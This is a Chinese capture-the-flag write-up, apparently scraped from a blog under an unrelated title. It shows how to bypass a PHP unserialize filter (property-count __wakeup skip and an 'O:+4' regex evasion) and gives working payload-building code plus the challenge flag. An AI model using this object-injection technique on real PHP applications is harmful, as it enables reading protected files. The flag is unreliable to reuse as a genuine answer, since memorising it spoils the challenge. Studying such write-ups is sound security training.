有效的字母異位詞
阿新 • • 發佈:2020-11-05
進去後看到如下原始碼:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
可以敏感的看到題中的兩個關鍵點:
-
wakeup函式
-
正則表示式
/[oc]:\d+:/i
wakeup函式,繞過很簡單,只需要將物件屬性的個數的值不為個數的真實值,那麼即可繞過,此處不再詳講,可以參考unserialize3有詳細講解
可以利用線上執行程式碼工具執行php:線上執行,不要太快速的點選執行,可能觸發它的保護機制,誤以為你在惡意點選,會遮蔽你
關於什麼正則表示式:Zery,寫的是真的好
題中的正則表示式呢,可以理解為,匹配oc(不分大小寫)後面的的數字一位或者多位,所以要通過str_replace()將1改為2,繞過wakeup函式,將4改為+4繞過正則匹配
注意到前面原始碼裡對get到的var引數做了base64解密處理,那麼我需要將序列化的字串base64加密一下,程式碼如下,小夥子有時間還是學學php吧:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $Demo = new Demo('fl4g.php'); $data = serialize($Demo); $data = str_replace('O:4', 'O:+4', $data); $data = str_replace(':1:', ':2:', $data); echo (base64_encode($data)); ?>
flag為:ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}